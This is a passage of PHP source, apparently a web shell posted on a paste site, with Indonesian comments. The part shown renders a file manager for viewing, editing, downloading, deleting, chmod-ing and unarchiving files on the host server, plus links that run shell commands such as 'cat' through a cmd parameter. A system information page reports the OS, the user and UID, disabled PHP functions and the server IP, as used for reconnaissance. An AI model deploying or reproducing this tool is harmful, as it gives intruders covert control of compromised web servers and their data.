- // Cek apakah file archive
- $is_archive = false;
- $archive_extensions = ['zip', 'tar', 'gz', 'tgz', 'bz2', 'rar', '7z'];
- if (!$is_dir) {
- $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
- $is_archive = in_array($ext, $archive_extensions);
- }
- echo '<tr>';
- echo '<td>';
- if ($is_dir) {
- echo '<span class="file-icon dir-icon">📁</span>';
- echo '<a href="?filemanager&dir=' . urlencode($file_path) . '" class="file-name">' . htmlspecialchars($file) . '/</a>';
- } else {
- // Determine icon based on file extension
- $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
- if ($is_archive) {
- echo '<span class="file-icon archive-icon">📦</span>';
- } elseif (in_array($ext, ['jpg', 'jpeg', 'png', 'gif', 'bmp'])) {
- echo '<span class="file-icon">🖼️</span>';
- } elseif (in_array($ext, ['php', 'js', 'html', 'css'])) {
- echo '<span class="file-icon">📝</span>';
- } else {
- echo '<span class="file-icon">📄</span>';
- }
- echo '<a href="?terminal&dir=' . urlencode($current_dir) . '&do=execute&cmd=cat%20' . urlencode($file_path) . '" class="file-name">' . htmlspecialchars($file) . '</a>';
- }
- echo '</td>';
- echo '<td>' . $file_size . '</td>';
- echo '<td><span class="' . $permission_class . '">' . $permission . '</span></td>';
- echo '<td>' . $modified . '</td>';
- echo '<td>';
- echo '<div class="file-actions">';
- if (!$is_dir) {
- // View file
- echo '<a href="?filemanager&dir=' . urlencode($current_dir) . '&do=view&file=' . urlencode($file) . '" target="_blank" class="action-btn edit-btn">View</a>';
- // Download file
- echo '<a href="?filemanager&dir=' . urlencode($current_dir) . '&do=download&file=' . urlencode($file) . '" class="action-btn download-btn">Download</a>';
- // Edit file (hanya untuk file text)
- $text_extensions = ['txt', 'php', 'js', 'html', 'css', 'json', 'xml', 'sql', 'md'];
- if (in_array($ext, $text_extensions)) {
- echo '<a href="javascript:void(0)" onclick="editFile(\'' . htmlspecialchars($file, ENT_QUOTES) . '\')" class="action-btn edit-btn">Edit</a>';
- }
- // Unarchive untuk file archive
- if ($is_archive) {
- echo '<a href="javascript:void(0)" onclick="unarchiveFile(\'' . htmlspecialchars($file, ENT_QUOTES) . '\')" class="action-btn unarchive-btn">Unarchive</a>';
- }
- }
- // Rename
- echo '<a href="javascript:void(0)" onclick="renameItem(\'' . htmlspecialchars($file, ENT_QUOTES) . '\')" class="action-btn rename-btn">Rename</a>';
- // Change permissions
- echo '<a href="javascript:void(0)" onclick="chmodItem(\'' . htmlspecialchars($file, ENT_QUOTES) . '\', \'' . $permission . '\')" class="action-btn">Chmod</a>';
- // Copy
- echo '<a href="javascript:void(0)" onclick="copyItem(\'' . htmlspecialchars($file, ENT_QUOTES) . '\')" class="action-btn">Copy</a>';
- // Delete
- echo '<a href="?filemanager&dir=' . urlencode($current_dir) . '&do=delete&file=' . urlencode($file) . '" class="action-btn delete-btn" onclick="return confirm(\'Yakin ingin menghapus ' . htmlspecialchars($file) . '?\')">Delete</a>';
- echo '</div>';
- echo '</td>';
- echo '</tr>';
- }
- echo '</tbody>';
- echo '</table>';
- // Show empty message if directory is empty
- if (count($sorted_files) == 0) {
- echo '<div class="message info">Direktori ini kosong.</div>';
- }
- } else {
- echo '<div class="message error">Tidak dapat membaca direktori.</div>';
- }
- ?>
- <!-- Edit File Modal -->
- <div id="editModal" class="modal">
- <div class="modal-content">
- <span class="close" onclick="closeModal('editModal')">×</span>
- <h3>Edit File</h3>
- <form method="POST" action="?filemanager&dir=<?php echo urlencode($current_dir); ?>&do=edit" id="editForm">
- <input type="hidden" name="file" id="editFileName">
- <div class="form-group">
- <label class="form-label">Content:</label>
- <textarea name="content" id="editFileContent" class="form-input textarea" rows="20"></textarea>
- </div>
- <button type="submit" class="btn">Save Changes</button>
- <button type="button" class="btn btn-warning" onclick="closeModal('editModal')">Cancel</button>
- </form>
- </div>
- </div>
- <!-- Rename Modal -->
- <div id="renameModal" class="modal">
- <div class="modal-content">
- <span class="close" onclick="closeModal('renameModal')">×</span>
- <h3>Rename Item</h3>
- <form method="POST" action="?filemanager&dir=<?php echo urlencode($current_dir); ?>&do=rename" id="renameForm">
- <input type="hidden" name="file" id="renameOldName">
- <div class="form-group">
- <label class="form-label">New Name:</label>
- <input type="text" name="new_name" id="renameNewName" class="form-input" required>
- </div>
- <button type="submit" class="btn">Rename</button>
- <button type="button" class="btn btn-warning" onclick="closeModal('renameModal')">Cancel</button>
- </form>
- </div>
- </div>
- <!-- Chmod Modal -->
- <div id="chmodModal" class="modal">
- <div class="modal-content">
- <span class="close" onclick="closeModal('chmodModal')">×</span>
- <h3>Change Permissions</h3>
- <form method="POST" action="?filemanager&dir=<?php echo urlencode($current_dir); ?>&do=chmod" id="chmodForm">
- <input type="hidden" name="file" id="chmodFileName">
- <div class="form-group">
- <label class="form-label">Permissions (octal):</label>
- <input type="text" name="mode" id="chmodMode" class="form-input" required>
- <small style="color: #00aa00;">Contoh: 0755 (rwxr-xr-x), 0644 (rw-r--r--), 0777 (rwxrwxrwx)</small>
- </div>
- <button type="submit" class="btn">Change</button>
- <button type="button" class="btn btn-warning" onclick="closeModal('chmodModal')">Cancel</button>
- </form>
- </div>
- </div>
- <!-- Copy Modal -->
- <div id="copyModal" class="modal">
- <div class="modal-content">
- <span class="close" onclick="closeModal('copyModal')">×</span>
- <h3>Copy Item</h3>
- <form method="POST" action="?filemanager&dir=<?php echo urlencode($current_dir); ?>&do=copy" id="copyForm">
- <input type="hidden" name="file" id="copySource">
- <div class="form-group">
- <label class="form-label">Destination Name:</label>
- <input type="text" name="dest_name" id="copyDestination" class="form-input" required>
- </div>
- <button type="submit" class="btn">Copy</button>
- <button type="button" class="btn btn-warning" onclick="closeModal('copyModal')">Cancel</button>
- </form>
- </div>
- </div>
- <!-- Unarchive Modal -->
- <div id="unarchiveModal" class="modal">
- <div class="modal-content">
- <span class="close" onclick="closeModal('unarchiveModal')">×</span>
- <h3>Unarchive File</h3>
- <form method="POST" action="?filemanager&dir=<?php echo urlencode($current_dir); ?>&do=unarchive" id="unarchiveForm">
- <input type="hidden" name="file" id="unarchiveFileName">
- <div class="form-group">
- <label class="form-label">Ekstrak file archive?</label>
- <p style="color: #00ff00; margin: 10px 0;">File akan diekstrak ke direktori saat ini.</p>
- </div>
- <button type="submit" class="btn btn-success">Unarchive</button>
- <button type="button" class="btn btn-warning" onclick="closeModal('unarchiveModal')">Cancel</button>
- </form>
- </div>
- </div>
- <script>
- // File Manager JavaScript Functions
- function editFile(fileName) {
- fetch('?filemanager&dir=<?php echo urlencode($current_dir); ?>&do=view&file=' + encodeURIComponent(fileName))
- .then(response => response.text())
- .then(data => {
- document.getElementById('editFileName').value = fileName;
- document.getElementById('editFileContent').value = data;
- document.getElementById('editModal').style.display = 'block';
- })
- .catch(error => {
- alert('Error loading file: ' + error);
- });
- }
- function renameItem(fileName) {
- document.getElementById('renameOldName').value = fileName;
- document.getElementById('renameNewName').value = fileName;
- document.getElementById('renameModal').style.display = 'block';
- }
- function chmodItem(fileName, currentPermission) {
- document.getElementById('chmodFileName').value = fileName;
- document.getElementById('chmodMode').value = currentPermission;
- document.getElementById('chmodModal').style.display = 'block';
- }
- function copyItem(fileName) {
- document.getElementById('copySource').value = fileName;
- document.getElementById('copyDestination').value = 'copy_of_' + fileName;
- document.getElementById('copyModal').style.display = 'block';
- }
- function unarchiveFile(fileName) {
- document.getElementById('unarchiveFileName').value = fileName;
- document.getElementById('unarchiveModal').style.display = 'block';
- }
- function closeModal(modalId) {
- document.getElementById(modalId).style.display = 'none';
- }
- // Close modal when clicking outside
- window.onclick = function(event) {
- if (event.target.className === 'modal') {
- event.target.style.display = 'none';
- }
- }
- </script>
- <?php elseif ($page === 'systeminfo'): ?>
- <!-- System Info Section -->
- <div class="current-dir">
- Directory: <?php echo htmlspecialchars($current_dir); ?>
- </div>
- <div class="info-grid">
- <div class="info-box">
- <div class="info-title">System Information</div>
- <div class="info-content">
- OS: <?php echo htmlspecialchars(PHP_OS); ?><br>
- PHP Version: <?php echo htmlspecialchars(PHP_VERSION); ?><br>
- Server Software: <?php echo htmlspecialchars($software); ?><br>
- Server IP: <?php echo htmlspecialchars($server_ip); ?><br>
- Your IP: <?php echo htmlspecialchars($lihat); ?>
- </div>
- </div>
- <div class="info-box">
- <div class="info-title">User Information</div>
- <div class="info-content">
- User: <?php echo htmlspecialchars($user); ?> (<?php echo htmlspecialchars($uid); ?>)<br>
- Group: <?php echo htmlspecialchars($group); ?> (<?php echo htmlspecialchars($gid); ?>)<br>
- Safe Mode: <?php echo $sm; ?><br>
- Disabled Functions: <?php echo htmlspecialchars($disfc); ?>
- </div>
- </div>
- <div class="info-box">
- <div class="info-title">Server Status</div>
- <div class="info-content">
- Time: <?php echo date('Y-m-d H:i:s'); ?><br>
- Max Execution Time: <?php echo @ini_get('max_execution_time'); ?>s<br>
- Memory Limit: <?php echo @ini_get('memory_limit'); ?><br>
- Upload Max Filesize: <?php echo @ini_get('upload_max_filesize'); ?><br>
- Post Max Size: <?php echo @ini_get('post_max_size'); ?>
- </div>
- </div>
- </div>
- <div class="output">
- <?php echo htmlspecialchars($sys); ?>
- </div>
- <?php endif; ?>
- </div>
- </div>
- <?php if (!empty($popup_message)): ?>
- <!-- Popup Notification -->
- <div id="popupNotification" class="popup-notification popup-<?php echo $popup_type; ?>">
- <div class="popup-close" onclick="closePopup()">×</div>
- <div class="popup-content">
- <?php echo htmlspecialchars($popup_message); ?>
- </div>
- </div>
- <script>
- // Fungsi untuk close popup
- function closePopup() {
- var popup = document.getElementById('popupNotification');
- if (popup) {
- popup.style.display = 'none';
- }
- }
- // Auto close popup setelah 5 detik
- setTimeout(function() {
- closePopup();
- }, 5000);
- // Close popup ketika klik di luar
- document.addEventListener('click', function(event) {
- var popup = document.getElementById('popupNotification');
- if (popup && !popup.contains(event.target)) {
- closePopup();
- }
- });
- </script>
- <?php endif; ?>
- <script>
- // Fungsi untuk auto-focus pada input saat halaman terminal dimuat
- document.addEventListener('DOMContentLoaded', function() {
- <?php if ($page === 'terminal'): ?>
- var cmdInput = document.querySelector('input[name="cmd"]');
- if(cmdInput) {
- cmdInput.focus();
- }
- <?php elseif ($page === 'buatfile'): ?>
- var fileInput = document.querySelector('input[name="namafile"]');
- if(fileInput) {
- fileInput.focus();
- }
- <?php endif; ?>
- });
- </script>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment